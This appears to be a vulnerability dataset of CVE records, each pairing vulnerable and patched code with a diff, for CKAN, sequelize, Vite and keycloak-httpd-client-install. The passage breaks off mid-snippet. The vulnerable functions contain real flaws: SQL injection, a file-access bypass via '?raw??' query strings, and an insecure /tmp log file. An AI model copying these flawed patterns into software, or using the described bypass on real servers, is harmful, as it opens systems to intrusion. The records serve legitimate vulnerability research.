{"cve_id": "CVE-2023-32696", "cve_description": "CKAN is an open-source data management system for powering data hubs and data portals. Prior to versions 2.9.9 and 2.10.1, the `ckan` user (equivalent to www-data) owned code and configuration files in the docker container and the `ckan` user had the permissions to use sudo. These issues allowed for code execution or privilege escalation if an arbitrary file write bug was available. Versions 2.9.9, 2.9.9-dev, 2.10.1, and 2.10.1-dev contain a patch.\n\n\n\n", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/ckan/ckan-docker-base", "patch_url": ["https://github.com/ckan/ckan-docker-base/commit/5483c46ce9b518a4e1b626ef7032cce2c1d75c7d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_236_1", "commit": "f145acd", "file_path": "ckan-2.10/base/setup/prerun.py", "start_line": 160, "end_line": 196, "snippet": "def create_sysadmin():\n\n    name = os.environ.get(\"CKAN_SYSADMIN_NAME\")\n    password = os.environ.get(\"CKAN_SYSADMIN_PASSWORD\")\n    email = os.environ.get(\"CKAN_SYSADMIN_EMAIL\")\n\n    if name and password and email:\n\n        # Check if user exists\n        command = [\"ckan\", \"-c\", ckan_ini, \"user\", \"show\", name]\n\n        out = subprocess.check_output(command)\n        if b\"User:None\" not in re.sub(b\"\\s\", b\"\", out):\n            print(\"[prerun] Sysadmin user exists, skipping creation\")\n            return\n\n        # Create user\n        command = [\n            \"ckan\",\n            \"-c\",\n            ckan_ini,\n            \"user\",\n            \"add\",\n            name,\n            \"password=\" + password,\n            \"email=\" + email,\n        ]\n\n        subprocess.call(command)\n        print(\"[prerun] Created user {0}\".format(name))\n\n        # Make it sysadmin\n        command = [\"ckan\", \"-c\", ckan_ini, \"sysadmin\", \"add\", name]\n\n        subprocess.call(command)\n        print(\"[prerun] Made user {0} a sysadmin\".format(name))\n"}], "fix_func": [{"id": "fix_py_236_1", "commit": "5483c46", "file_path": "ckan-2.10/base/setup/prerun.py", "start_line": 160, "end_line": 203, "snippet": "def create_sysadmin():\n\n    name = os.environ.get(\"CKAN_SYSADMIN_NAME\")\n    password = os.environ.get(\"CKAN_SYSADMIN_PASSWORD\")\n    email = os.environ.get(\"CKAN_SYSADMIN_EMAIL\")\n\n    if name and password and email:\n\n        # Check if user exists\n        command = [\"ckan\", \"-c\", ckan_ini, \"user\", \"show\", name]\n\n        out = subprocess.check_output(command)\n        if b\"User:None\" not in re.sub(b\"\\s\", b\"\", out):\n            print(\"[prerun] Sysadmin user exists, skipping creation\")\n            return\n\n        # Create user\n        command = [\n            \"ckan\",\n            \"-c\",\n            ckan_ini,\n            \"user\",\n            \"add\",\n            name,\n            \"password=\" + password,\n            \"email=\" + email,\n        ]\n\n        subprocess.call(command)\n        print(\"[prerun] Created user {0}\".format(name))\n\n        # Make it sysadmin\n        command = [\"ckan\", \"-c\", ckan_ini, \"sysadmin\", \"add\", name]\n\n        subprocess.call(command)\n        print(\"[prerun] Made user {0} a sysadmin\".format(name))\n\n        # cleanup permissions\n        # We're running as root before pivoting to uwsgi and dropping privs\n        data_dir = \"%s/storage\" % os.environ['CKAN_STORAGE_PATH']\n\n        command = [\"chown\", \"-R\", \"ckan:ckan\", data_dir]\n        subprocess.call(command)\n        print(\"[prerun] Ensured storage directory is owned by ckan\")"}], "vul_patch": "--- a/ckan-2.10/base/setup/prerun.py\n+++ b/ckan-2.10/base/setup/prerun.py\n@@ -34,3 +34,11 @@\n \n         subprocess.call(command)\n         print(\"[prerun] Made user {0} a sysadmin\".format(name))\n+\n+        # cleanup permissions\n+        # We're running as root before pivoting to uwsgi and dropping privs\n+        data_dir = \"%s/storage\" % os.environ['CKAN_STORAGE_PATH']\n+\n+        command = [\"chown\", \"-R\", \"ckan:ckan\", data_dir]\n+        subprocess.call(command)\n+        print(\"[prerun] Ensured storage directory is owned by ckan\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10749", "cve_description": "sequelize before version 3.35.1 allows attackers to perform a SQL Injection due to the JSON path keys not being properly sanitized in the Postgres dialect.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/sequelize/sequelize", "patch_url": ["https://github.com/sequelize/sequelize/commit/ee4017379db0059566ecb5424274ad4e2d66bc68"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_209_1", "commit": "75c1fdb", "file_path": "lib/dialects/abstract/query-generator.js", "start_line": 2187, "end_line": 2209, "snippet": "        traverse = function (prop, item, path) {\n          var $where = {}\n            , $key\n            , $cast\n            , $baseKey\n            , $tmp\n            , castKey;\n\n          if (path[path.length - 1].indexOf('::') > -1) {\n            $tmp = path[path.length - 1].split('::');\n            $cast = $tmp[1];\n            path[path.length - 1] = $tmp[0];\n          }\n\n          $baseKey = self.quoteIdentifier(key)+'#>>\\'{'+path.join(', ')+'}\\'';\n\n          if (options.prefix) {\n            if (options.prefix instanceof Utils.literal) {\n              $baseKey = self.handleSequelizeMethod(options.prefix)+'.'+$baseKey;\n            } else {\n              $baseKey = self.quoteTable(options.prefix)+'.'+$baseKey;\n            }\n          }"}], "fix_func": [{"id": "fix_js_209_1", "commit": "ee4017379db0059566ecb5424274ad4e2d66bc68", "file_path": "lib/dialects/abstract/query-generator.js", "start_line": 2187, "end_line": 2210, "snippet": "        traverse = function (prop, item, path) {\n          var $where = {}\n            , $key\n            , $cast\n            , $baseKey\n            , $tmp\n            , castKey;\n\n          if (path[path.length - 1].indexOf('::') > -1) {\n            $tmp = path[path.length - 1].split('::');\n            $cast = $tmp[1];\n            path[path.length - 1] = $tmp[0];\n          }\n\n          var pathKey = self.escape('{' + path.join(', ') + '}');\n          $baseKey = self.quoteIdentifier(key)+'#>>'+pathKey;\n\n          if (options.prefix) {\n            if (options.prefix instanceof Utils.literal) {\n              $baseKey = self.handleSequelizeMethod(options.prefix)+'.'+$baseKey;\n            } else {\n              $baseKey = self.quoteTable(options.prefix)+'.'+$baseKey;\n            }\n          }"}], "vul_patch": "--- a/lib/dialects/abstract/query-generator.js\n+++ b/lib/dialects/abstract/query-generator.js\n@@ -12,7 +12,8 @@\n             path[path.length - 1] = $tmp[0];\n           }\n \n-          $baseKey = self.quoteIdentifier(key)+'#>>\\'{'+path.join(', ')+'}\\'';\n+          var pathKey = self.escape('{' + path.join(', ') + '}');\n+          $baseKey = self.quoteIdentifier(key)+'#>>'+pathKey;\n \n           if (options.prefix) {\n             if (options.prefix instanceof Utils.literal) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-30208", "cve_description": "Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/vitejs/vite", "patch_url": ["https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_248_1", "commit": "50641d9", "file_path": "packages/vite/src/node/server/middlewares/transform.ts", "start_line": 57, "end_line": 279, "snippet": "  return async function viteTransformMiddleware(req, res, next) {\n    if (req.method !== 'GET' || knownIgnoreList.has(req.url!)) {\n      return next()\n    }\n\n    let url: string\n    try {\n      url = decodeURI(removeTimestampQuery(req.url!)).replace(\n        NULL_BYTE_PLACEHOLDER,\n        '\\0',\n      )\n    } catch (e) {\n      return next(e)\n    }\n\n    const withoutQuery = cleanUrl(url)\n\n    try {\n      const isSourceMap = withoutQuery.endsWith('.map')\n      // since we generate source map references, handle those requests here\n      if (isSourceMap) {\n        const depsOptimizer = getDepsOptimizer(server.config, false) // non-ssr\n        if (depsOptimizer?.isOptimizedDepUrl(url)) {\n          // If the browser is requesting a source map for an optimized dep, it\n          // means that the dependency has already been pre-bundled and loaded\n          const sourcemapPath = url.startsWith(FS_PREFIX)\n            ? fsPathFromId(url)\n            : normalizePath(path.resolve(root, url.slice(1)))\n          try {\n            const map = JSON.parse(\n              await fsp.readFile(sourcemapPath, 'utf-8'),\n            ) as ExistingRawSourceMap\n\n            applySourcemapIgnoreList(\n              map,\n              sourcemapPath,\n              server.config.server.sourcemapIgnoreList,\n              logger,\n            )\n\n            return send(req, res, JSON.stringify(map), 'json', {\n              headers: server.config.server.headers,\n            })\n          } catch (e) {\n            // Outdated source map request for optimized deps, this isn't an error\n            // but part of the normal flow when re-optimizing after missing deps\n            // Send back an empty source map so the browser doesn't issue warnings\n            const dummySourceMap = {\n              version: 3,\n              file: sourcemapPath.replace(/\\.map$/, ''),\n              sources: [],\n              sourcesContent: [],\n              names: [],\n              mappings: ';;;;;;;;;',\n            }\n            return send(req, res, JSON.stringify(dummySourceMap), 'json', {\n              cacheControl: 'no-cache',\n              headers: server.config.server.headers,\n            })\n          }\n        } else {\n          const originalUrl = url.replace(/\\.map($|\\?)/, '$1')\n          const map = (await moduleGraph.getModuleByUrl(originalUrl, false))\n            ?.transformResult?.map\n          if (map) {\n            return send(req, res, JSON.stringify(map), 'json', {\n              headers: server.config.server.headers,\n            })\n          } else {\n            return next()\n          }\n        }\n      }\n\n      // check if public dir is inside root dir\n      const publicDir = normalizePath(server.config.publicDir)\n      const rootDir = normalizePath(server.config.root)\n      if (publicDir.startsWith(withTrailingSlash(rootDir))) {\n        const publicPath = `${publicDir.slice(rootDir.length)}/`\n        // warn explicit public paths\n        if (url.startsWith(withTrailingSlash(publicPath))) {\n          let warning: string\n\n          if (isImportRequest(url)) {\n            const rawUrl = removeImportQuery(url)\n            if (urlRE.test(url)) {\n              warning =\n                `Assets in the public directory are served at the root path.\\n` +\n                `Instead of ${colors.cyan(rawUrl)}, use ${colors.cyan(\n                  rawUrl.replace(publicPath, '/'),\n                )}.`\n            } else {\n              warning =\n                'Assets in public directory cannot be imported from JavaScript.\\n' +\n                `If you intend to import that asset, put the file in the src directory, and use ${colors.cyan(\n                  rawUrl.replace(publicPath, '/src/'),\n                )} instead of ${colors.cyan(rawUrl)}.\\n` +\n                `If you intend to use the URL of that asset, use ${colors.cyan(\n                  injectQuery(rawUrl.replace(publicPath, '/'), 'url'),\n                )}.`\n            }\n          } else {\n            warning =\n              `files in the public directory are served at the root path.\\n` +\n              `Instead of ${colors.cyan(url)}, use ${colors.cyan(\n                url.replace(publicPath, '/'),\n              )}.`\n          }\n\n          logger.warn(colors.yellow(warning))\n        }\n      }\n\n      if (\n        (rawRE.test(url) || urlRE.test(url)) &&\n        !ensureServingAccess(url, server, res, next)\n      ) {\n        return\n      }\n\n      if (\n        isJSRequest(url) ||\n        isImportRequest(url) ||\n        isCSSRequest(url) ||\n        isHTMLProxy(url)\n      ) {\n        // strip ?import\n        url = removeImportQuery(url)\n        // Strip valid id prefix. This is prepended to resolved Ids that are\n        // not valid browser import specifiers by the importAnalysis plugin.\n        url = unwrapId(url)\n\n        // for CSS, we need to differentiate between normal CSS requests and\n        // imports\n        if (\n          isCSSRequest(url) &&\n          !isDirectRequest(url) &&\n          req.headers.accept?.includes('text/css')\n        ) {\n          url = injectQuery(url, 'direct')\n        }\n\n        // check if we can return 304 early\n        const ifNoneMatch = req.headers['if-none-match']\n        if (\n          ifNoneMatch &&\n          (await moduleGraph.getModuleByUrl(url, false))?.transformResult\n            ?.etag === ifNoneMatch\n        ) {\n          debugCache?.(`[304] ${prettifyUrl(url, root)}`)\n          res.statusCode = 304\n          return res.end()\n        }\n\n        // resolve, load and transform using the plugin container\n        const result = await transformRequest(url, server, {\n          html: req.headers.accept?.includes('text/html'),\n        })\n        if (result) {\n          const depsOptimizer = getDepsOptimizer(server.config, false) // non-ssr\n          const type = isDirectCSSRequest(url) ? 'css' : 'js'\n          const isDep =\n            DEP_VERSION_RE.test(url) || depsOptimizer?.isOptimizedDepUrl(url)\n          return send(req, res, result.code, type, {\n            etag: result.etag,\n            // allow browser to cache npm deps!\n            cacheControl: isDep ? 'max-age=31536000,immutable' : 'no-cache',\n            headers: server.config.server.headers,\n            map: result.map,\n          })\n        }\n      }\n    } catch (e) {\n      if (e?.code === ERR_OPTIMIZE_DEPS_PROCESSING_ERROR) {\n        // Skip if response has already been sent\n        if (!res.writableEnded) {\n          res.statusCode = 504 // status code request timeout\n          res.statusMessage = 'Optimize Deps Processing Error'\n          res.end()\n        }\n        // This timeout is unexpected\n        logger.error(e.message)\n        return\n      }\n      if (e?.code === ERR_OUTDATED_OPTIMIZED_DEP) {\n        // Skip if response has already been sent\n        if (!res.writableEnded) {\n          res.statusCode = 504 // status code request timeout\n          res.statusMessage = 'Outdated Optimize Dep'\n          res.end()\n        }\n        // We don't need to log an error in this case, the request\n        // is outdated because new dependencies were discovered and\n        // the new pre-bundle dependencies have changed.\n        // A full-page reload has been issued, and these old requests\n        // can't be properly fulfilled. This isn't an unexpected\n        // error but a normal part of the missing deps discovery flow\n        return\n      }\n      if (e?.code === ERR_CLOSED_SERVER) {\n        // Skip if response has already been sent\n        if (!res.writableEnded) {\n          res.statusCode = 504 // status code request timeout\n          res.statusMessage = 'Outdated Request'\n          res.end()\n        }\n        // We don't need to log an error in this case, the request\n        // is outdated because new dependencies were discovered and\n        // the new pre-bundle dependencies have changed.\n        // A full-page reload has been issued, and these old requests\n        // can't be properly fulfilled. This isn't an unexpected\n        // error but a normal part of the missing deps discovery flow\n        return\n      }\n      if (e?.code === ERR_LOAD_URL) {\n        // Let other middleware handle if we can't load the url via transformRequest\n        return next()\n      }\n      return next(e)\n    }\n\n    next()\n  }"}], "fix_func": [{"id": "fix_js_248_1", "commit": "315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4", "file_path": "packages/vite/src/node/server/middlewares/transform.ts", "start_line": 58, "end_line": 290, "snippet": "  return async function viteTransformMiddleware(req, res, next) {\n    if (req.method !== 'GET' || knownIgnoreList.has(req.url!)) {\n      return next()\n    }\n\n    let url: string\n    try {\n      url = decodeURI(removeTimestampQuery(req.url!)).replace(\n        NULL_BYTE_PLACEHOLDER,\n        '\\0',\n      )\n    } catch (e) {\n      return next(e)\n    }\n\n    const withoutQuery = cleanUrl(url)\n\n    try {\n      const isSourceMap = withoutQuery.endsWith('.map')\n      // since we generate source map references, handle those requests here\n      if (isSourceMap) {\n        const depsOptimizer = getDepsOptimizer(server.config, false) // non-ssr\n        if (depsOptimizer?.isOptimizedDepUrl(url)) {\n          // If the browser is requesting a source map for an optimized dep, it\n          // means that the dependency has already been pre-bundled and loaded\n          const sourcemapPath = url.startsWith(FS_PREFIX)\n            ? fsPathFromId(url)\n            : normalizePath(path.resolve(root, url.slice(1)))\n          try {\n            const map = JSON.parse(\n              await fsp.readFile(sourcemapPath, 'utf-8'),\n            ) as ExistingRawSourceMap\n\n            applySourcemapIgnoreList(\n              map,\n              sourcemapPath,\n              server.config.server.sourcemapIgnoreList,\n              logger,\n            )\n\n            return send(req, res, JSON.stringify(map), 'json', {\n              headers: server.config.server.headers,\n            })\n          } catch (e) {\n            // Outdated source map request for optimized deps, this isn't an error\n            // but part of the normal flow when re-optimizing after missing deps\n            // Send back an empty source map so the browser doesn't issue warnings\n            const dummySourceMap = {\n              version: 3,\n              file: sourcemapPath.replace(/\\.map$/, ''),\n              sources: [],\n              sourcesContent: [],\n              names: [],\n              mappings: ';;;;;;;;;',\n            }\n            return send(req, res, JSON.stringify(dummySourceMap), 'json', {\n              cacheControl: 'no-cache',\n              headers: server.config.server.headers,\n            })\n          }\n        } else {\n          const originalUrl = url.replace(/\\.map($|\\?)/, '$1')\n          const map = (await moduleGraph.getModuleByUrl(originalUrl, false))\n            ?.transformResult?.map\n          if (map) {\n            return send(req, res, JSON.stringify(map), 'json', {\n              headers: server.config.server.headers,\n            })\n          } else {\n            return next()\n          }\n        }\n      }\n\n      // check if public dir is inside root dir\n      const publicDir = normalizePath(server.config.publicDir)\n      const rootDir = normalizePath(server.config.root)\n      if (publicDir.startsWith(withTrailingSlash(rootDir))) {\n        const publicPath = `${publicDir.slice(rootDir.length)}/`\n        // warn explicit public paths\n        if (url.startsWith(withTrailingSlash(publicPath))) {\n          let warning: string\n\n          if (isImportRequest(url)) {\n            const rawUrl = removeImportQuery(url)\n            if (urlRE.test(url)) {\n              warning =\n                `Assets in the public directory are served at the root path.\\n` +\n                `Instead of ${colors.cyan(rawUrl)}, use ${colors.cyan(\n                  rawUrl.replace(publicPath, '/'),\n                )}.`\n            } else {\n              warning =\n                'Assets in public directory cannot be imported from JavaScript.\\n' +\n                `If you intend to import that asset, put the file in the src directory, and use ${colors.cyan(\n                  rawUrl.replace(publicPath, '/src/'),\n                )} instead of ${colors.cyan(rawUrl)}.\\n` +\n                `If you intend to use the URL of that asset, use ${colors.cyan(\n                  injectQuery(rawUrl.replace(publicPath, '/'), 'url'),\n                )}.`\n            }\n          } else {\n            warning =\n              `files in the public directory are served at the root path.\\n` +\n              `Instead of ${colors.cyan(url)}, use ${colors.cyan(\n                url.replace(publicPath, '/'),\n              )}.`\n          }\n\n          logger.warn(colors.yellow(warning))\n        }\n      }\n\n      const urlWithoutTrailingQuerySeparators = url.replace(\n        trailingQuerySeparatorsRE,\n        '',\n      )\n      if (\n        (rawRE.test(urlWithoutTrailingQuerySeparators) ||\n          urlRE.test(urlWithoutTrailingQuerySeparators)) &&\n        !ensureServingAccess(\n          urlWithoutTrailingQuerySeparators,\n          server,\n          res,\n          next,\n        )\n      ) {\n        return\n      }\n\n      if (\n        isJSRequest(url) ||\n        isImportRequest(url) ||\n        isCSSRequest(url) ||\n        isHTMLProxy(url)\n      ) {\n        // strip ?import\n        url = removeImportQuery(url)\n        // Strip valid id prefix. This is prepended to resolved Ids that are\n        // not valid browser import specifiers by the importAnalysis plugin.\n        url = unwrapId(url)\n\n        // for CSS, we need to differentiate between normal CSS requests and\n        // imports\n        if (\n          isCSSRequest(url) &&\n          !isDirectRequest(url) &&\n          req.headers.accept?.includes('text/css')\n        ) {\n          url = injectQuery(url, 'direct')\n        }\n\n        // check if we can return 304 early\n        const ifNoneMatch = req.headers['if-none-match']\n        if (\n          ifNoneMatch &&\n          (await moduleGraph.getModuleByUrl(url, false))?.transformResult\n            ?.etag === ifNoneMatch\n        ) {\n          debugCache?.(`[304] ${prettifyUrl(url, root)}`)\n          res.statusCode = 304\n          return res.end()\n        }\n\n        // resolve, load and transform using the plugin container\n        const result = await transformRequest(url, server, {\n          html: req.headers.accept?.includes('text/html'),\n        })\n        if (result) {\n          const depsOptimizer = getDepsOptimizer(server.config, false) // non-ssr\n          const type = isDirectCSSRequest(url) ? 'css' : 'js'\n          const isDep =\n            DEP_VERSION_RE.test(url) || depsOptimizer?.isOptimizedDepUrl(url)\n          return send(req, res, result.code, type, {\n            etag: result.etag,\n            // allow browser to cache npm deps!\n            cacheControl: isDep ? 'max-age=31536000,immutable' : 'no-cache',\n            headers: server.config.server.headers,\n            map: result.map,\n          })\n        }\n      }\n    } catch (e) {\n      if (e?.code === ERR_OPTIMIZE_DEPS_PROCESSING_ERROR) {\n        // Skip if response has already been sent\n        if (!res.writableEnded) {\n          res.statusCode = 504 // status code request timeout\n          res.statusMessage = 'Optimize Deps Processing Error'\n          res.end()\n        }\n        // This timeout is unexpected\n        logger.error(e.message)\n        return\n      }\n      if (e?.code === ERR_OUTDATED_OPTIMIZED_DEP) {\n        // Skip if response has already been sent\n        if (!res.writableEnded) {\n          res.statusCode = 504 // status code request timeout\n          res.statusMessage = 'Outdated Optimize Dep'\n          res.end()\n        }\n        // We don't need to log an error in this case, the request\n        // is outdated because new dependencies were discovered and\n        // the new pre-bundle dependencies have changed.\n        // A full-page reload has been issued, and these old requests\n        // can't be properly fulfilled. This isn't an unexpected\n        // error but a normal part of the missing deps discovery flow\n        return\n      }\n      if (e?.code === ERR_CLOSED_SERVER) {\n        // Skip if response has already been sent\n        if (!res.writableEnded) {\n          res.statusCode = 504 // status code request timeout\n          res.statusMessage = 'Outdated Request'\n          res.end()\n        }\n        // We don't need to log an error in this case, the request\n        // is outdated because new dependencies were discovered and\n        // the new pre-bundle dependencies have changed.\n        // A full-page reload has been issued, and these old requests\n        // can't be properly fulfilled. This isn't an unexpected\n        // error but a normal part of the missing deps discovery flow\n        return\n      }\n      if (e?.code === ERR_LOAD_URL) {\n        // Let other middleware handle if we can't load the url via transformRequest\n        return next()\n      }\n      return next(e)\n    }\n\n    next()\n  }"}, {"id": "fix_js_248_2", "commit": "315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4", "file_path": "packages/vite/src/node/server/middlewares/transform.ts", "start_line": 47, "end_line": 47, "snippet": "const trailingQuerySeparatorsRE = /[?&]+$/"}], "vul_patch": "--- a/packages/vite/src/node/server/middlewares/transform.ts\n+++ b/packages/vite/src/node/server/middlewares/transform.ts\n@@ -111,9 +111,19 @@\n         }\n       }\n \n+      const urlWithoutTrailingQuerySeparators = url.replace(\n+        trailingQuerySeparatorsRE,\n+        '',\n+      )\n       if (\n-        (rawRE.test(url) || urlRE.test(url)) &&\n-        !ensureServingAccess(url, server, res, next)\n+        (rawRE.test(urlWithoutTrailingQuerySeparators) ||\n+          urlRE.test(urlWithoutTrailingQuerySeparators)) &&\n+        !ensureServingAccess(\n+          urlWithoutTrailingQuerySeparators,\n+          server,\n+          res,\n+          next,\n+        )\n       ) {\n         return\n       }\n\n--- /dev/null\n+++ b/packages/vite/src/node/server/middlewares/transform.ts\n@@ -0,0 +1 @@\n+const trailingQuerySeparatorsRE = /[?&]+$/\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-15111", "cve_description": "keycloak-httpd-client-install versions before 0.8 insecurely creates temporary file allowing local attackers to overwrite other files via symbolic link.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/jdennis/keycloak-httpd-client-install", "patch_url": ["https://github.com/jdennis/keycloak-httpd-client-install/commit/07f26e213196936fb328ea0c1d5a66a09d8b5440"], "programing_language": "Python", "vul_func": [{"id": "vul_py_84_1", "commit": "c3121b2", "file_path": "keycloak_httpd_client/keycloak_cli.py", "start_line": "846", "end_line": "1045", "snippet": "def main():\n    global logger\n    result = 0\n\n    parser = argparse.ArgumentParser(description='Keycloak REST client',\n                    prog=prog_name,\n                    epilog=verbose_help.format(prog_name=prog_name),\n                    formatter_class=argparse.RawDescriptionHelpFormatter)\n\n    parser.add_argument('-v', '--verbose', action='store_true',\n                        help='be chatty')\n\n    parser.add_argument('-d', '--debug', action='store_true',\n                        help='turn on debug info')\n\n    parser.add_argument('--show-traceback', action='store_true',\n                        help='exceptions print traceback in addition to '\n                             'error message')\n\n    parser.add_argument('--log-file',\n                        default='/tmp/{prog_name}.log'.format(\n                            prog_name=prog_name),\n                        help='log file pathname')\n\n    parser.add_argument('--permit-insecure-transport',  action='store_true',\n                        help='Normally secure transport such as TLS '\n                        'is required, defeat this check')\n\n    parser.add_argument('--tls-verify', action=TlsVerifyAction,\n                        default=True,\n                        help='TLS certificate verification for requests to'\n                        ' the server. May be one of case insenstive '\n                        '[true, yes, on] to enable,'\n                        '[false, no, off] to disable.'\n                        'Or the pathname to a OpenSSL CA bundle to use.'\n                        ' Default is True.')\n\n    group = parser.add_argument_group('Server')\n\n    group.add_argument('-s', '--server',\n                       required=True,\n                       help='DNS name or IP address of Keycloak server')\n\n    group.add_argument('-a', '--auth-role',\n                       choices=AUTH_ROLES,\n                       default='root-admin',\n                       help='authenticating as what type of user (default: root-admin)')\n\n    group.add_argument('-u', '--admin-username',\n                       default='admin',\n                       help='admin user name (default: admin)')\n\n    group.add_argument('-P', '--admin-password-file',\n                       type=argparse.FileType('rb'),\n                       help=('file containing admin password '\n                             '(or use a hyphen \"-\" to read the password '\n                             'from stdin)'))\n\n    group.add_argument('--admin-realm',\n                       default='master',\n                       help='realm admin belongs to')\n\n    cmd_parsers = parser.add_subparsers(help='available commands')\n\n    # --- realm commands ---\n    realm_parser = cmd_parsers.add_parser('realm',\n                                          help='realm operations')\n\n    sub_parser = realm_parser.add_subparsers(help='realm commands')\n\n    cmd_parser = sub_parser.add_parser('server_info',\n                                       help='dump server info')\n    cmd_parser.set_defaults(func=do_server_info)\n\n    cmd_parser = sub_parser.add_parser('list',\n                                       help='list realm names')\n    cmd_parser.set_defaults(func=do_list_realms)\n\n    cmd_parser = sub_parser.add_parser('create',\n                                       help='create new realm')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.set_defaults(func=do_create_realm)\n\n    cmd_parser = sub_parser.add_parser('delete',\n                                       help='delete existing realm')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.set_defaults(func=do_delete_realm)\n\n    cmd_parser = sub_parser.add_parser('metadata',\n                                       help='retrieve realm metadata')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.set_defaults(func=do_get_realm_metadata)\n\n    # --- client commands ---\n    client_parser = cmd_parsers.add_parser('client',\n                                           help='client operations')\n\n    sub_parser = client_parser.add_subparsers(help='client commands')\n\n    cmd_parser = sub_parser.add_parser('list',\n                                       help='list client names')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n\n    cmd_parser.set_defaults(func=do_list_clients)\n\n    cmd_parser = sub_parser.add_parser('create',\n                                       help='create new client')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.add_argument('-m', '--metadata', type=argparse.FileType('rb'),\n                            required=True,\n                            help='SP metadata file or stdin')\n    cmd_parser.set_defaults(func=do_create_client)\n\n    cmd_parser = sub_parser.add_parser('register',\n                                       help='register new client')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.add_argument('-m', '--metadata', type=argparse.FileType('rb'),\n                            required=True,\n                            help='SP metadata file or stdin')\n    cmd_parser.add_argument('--initial-access-token', required=True,\n                            help='realm initial access token for '\n                            'client registeration')\n    cmd_parser.set_defaults(func=do_register_client)\n\n    cmd_parser = sub_parser.add_parser('delete',\n                                       help='delete existing client')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.add_argument('-c', '--client-name', required=True,\n                            help='client name')\n    cmd_parser.set_defaults(func=do_delete_client)\n\n    cmd_parser = sub_parser.add_parser('test',\n                                       help='experimental test used during '\n                                       'development')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.add_argument('-c', '--client-name', required=True,\n                            help='client name')\n    cmd_parser.set_defaults(func=do_client_test)\n\n    # Process command line arguments\n    options = parser.parse_args()\n    configure_logging(options)\n\n    if options.permit_insecure_transport:\n        os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n\n    # Get admin password\n    options.admin_password = None\n\n    # 1. Try password file\n    if options.admin_password_file is not None:\n        options.admin_password = options.keycloak_admin_password_file.readline().strip()\n        options.keycloak_admin_password_file.close()\n\n    # 2. Try KEYCLOAK_ADMIN_PASSWORD environment variable\n    if options.admin_password is None:\n        if (('KEYCLOAK_ADMIN_PASSWORD' in os.environ) and\n            (os.environ['KEYCLOAK_ADMIN_PASSWORD'])):\n            options.admin_password = os.environ['KEYCLOAK_ADMIN_PASSWORD']\n\n    try:\n        anonymous_conn = KeycloakAnonymousConnection(options.server,\n                                                     options.tls_verify)\n\n        admin_conn = KeycloakAdminConnection(options.server,\n                                             options.auth_role,\n                                             options.admin_realm,\n                                             ADMIN_CLIENT_ID,\n                                             options.admin_username,\n                                             options.admin_password,\n                                             options.tls_verify)\n    except Exception as e:\n        if options.show_traceback:\n            traceback.print_exc()\n        print(six.text_type(e), file=sys.stderr)\n        result = 1\n        return result\n\n    try:\n        if options.func == do_register_client:\n            conn = admin_conn\n        else:\n            conn = admin_conn\n        result = options.func(options, conn)\n    except Exception as e:\n        if options.show_traceback:\n            traceback.print_exc()\n        print(six.text_type(e), file=sys.stderr)\n        result = 2\n        return result\n\n    return result"}], "fix_func": [{"id": "fix_py_84_1", "commit": "07f26e2", "file_path": "keycloak_httpd_client/keycloak_cli.py", "start_line": "846", "end_line": "1045", "snippet": "def main():\n    global logger\n    result = 0\n\n    parser = argparse.ArgumentParser(description='Keycloak REST client',\n                    prog=prog_name,\n                    epilog=verbose_help.format(prog_name=prog_name),\n                    formatter_class=argparse.RawDescriptionHelpFormatter)\n\n    parser.add_argument('-v', '--verbose', action='store_true',\n                        help='be chatty')\n\n    parser.add_argument('-d', '--debug', action='store_true',\n                        help='turn on debug info')\n\n    parser.add_argument('--show-traceback', action='store_true',\n                        help='exceptions print traceback in addition to '\n                             'error message')\n\n    parser.add_argument('--log-file',\n                        default='{prog_name}.log'.format(\n                            prog_name=prog_name),\n                        help='log file pathname')\n\n    parser.add_argument('--permit-insecure-transport',  action='store_true',\n                        help='Normally secure transport such as TLS '\n                        'is required, defeat this check')\n\n   